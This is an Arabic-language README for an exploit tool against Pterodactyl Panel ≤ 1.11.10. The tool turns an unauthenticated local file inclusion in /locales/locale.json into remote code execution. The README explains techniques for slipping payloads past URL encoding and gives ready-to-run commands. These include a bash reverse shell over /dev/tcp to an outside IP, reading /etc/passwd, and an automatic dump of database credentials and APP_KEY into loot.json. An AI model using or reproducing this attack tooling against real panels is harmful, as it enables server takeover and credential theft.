
استغلال لـ Pterodactyl Panel ≤ 1.11.10 - LFI غير مصادق عليه إلى RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
استغلال لثغرة Pterodactyl Panel ≤ 1.11.10 - تحويل LFI غير المصادق عليه إلى RCE.
يقبل مسار النهاية /locales/locale.json معاملَي locale وnamespace يتم تمريرهما مباشرةً إلى include() في PHP دون تنقية أو مصادقة. أما معامل hash المصمم لمنع إساءة الاستخدام فلا يتم تطبيقه أبدًا في الإصدارات غير المحدّثة.
وهذا يتيح:
.php (بيانات اعتماد قاعدة البيانات، APP_KEY، البريد، الجلسة…)pearcmd.php (خدعة register_argc_argv + config-create)، أو سلاسل فلاتر PHP، أو إلغاء تسلسل Laravel باستخدام APP_KEY المسرَّبالإصدارات المتأثرة: Pterodactyl Panel ≤ 1.11.10 تم الإصلاح في: 1.11.11
تعتمد الـ PoCs الأصلية على requests في بايثون لإرسال حمولة pearcmd. المشكلة: أن requests يرمّز أحرفًا مثل < و> و{ و} ترميزًا صامتًا في الرابط - مما يكسر وسوم PHP (<?=system(...)?>) المضمّنة في URL.
يعالج هذا الاستغلال ذلك بتغييرين رئيسيين:
curl للمرحلة 1 - يستخدم طلب إنشاء الحمولة curl -g (globoff) عبر subprocess، متجاوزًا ترميز URL في بايثون تمامًا.hex2bin() لترميز الأوامر - بدلاً من حقن الأمر الخام (الذي يفشل مع المسافات والأحرف الخاصة)، يُرمَّز الأمر بالنظام الست عشري ويُفكَّك ترميزه في الخادم عبر system(hex2bin('...')). الترميز الست عشري يستخدم 0-9a-f فقط - لا + ولا = ولا & ولا مسافات. هذا يعني أن أي أمر يعمل، بما في ذلك الريفرس شيل باستخدام >& و/dev/tcp/./usr/share/php كمسار ثابت، تدعم هذه الأداة وسيط --pear-dir بالكامل. وهي تحقن المسار المخصص ديناميكيًا في طلب curl الخام، مما يتيح استغلال الأهداف ذات الإعدادات غير القياسية.pip install requests
اختياري (لطرق RCE عبر سلسلة الفلاتر / إلغاء التسلسل):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
| الخيار | الوصف |
|---|---|
target | رابط الهدف (مثل http://panel.pterodactyl.fr) |
--rce-cmd CMD | تنفيذ CMD عبر pearcmd (يدعم أي أمر، بما في ذلك الريفرس شيل) |
--rce-filter CMD | تنفيذ CMD عبر سلسلة فلاتر PHP |
--filter-chain CHAIN | استخدام سلسلة php://filter مولّدة مسبقًا (مع --rce-filter) |
--rce-d CMD | تنفيذ CMD عبر إلغاء تسلسل Laravel |
--pear-dir PATH | المسار إلى مجلد pearcmd.php (الافتراضي: /usr/share/php) |
--timeout N | مهلة الطلب بالثواني (الافتراضي: 10) |
--verify-ssl | تفعيل التحقق من شهادة SSL (معطّل افتراضيًا) |
-o FILE | ملف تقرير الإخراج (الافتراضي: loot.json) |
--pear-dir الشائعة| التوزيعة | المسار |
|---|---|
| Debian / Ubuntu | /usr/share/php (الافتراضي) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 أو /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
عند تشغيله دون --rce-cmd أو --rce-filter أو --rce-d، يقوم الاستغلال باستخراج كامل للإعدادات:
/etc/passwd، اسم المضيف، إصدار النواةيُحفظ تقرير JSON كامل في loot.json (أو مسار مخصص عبر -o).
هذا الاستغلال هو تحسين مبني على الـ PoC من GRodolphe/CVE-2025-49132_poc، وهو نفسه مستوحى من الـ PoC الأصلي من 0xtensho/CVE-2025-49132-poc.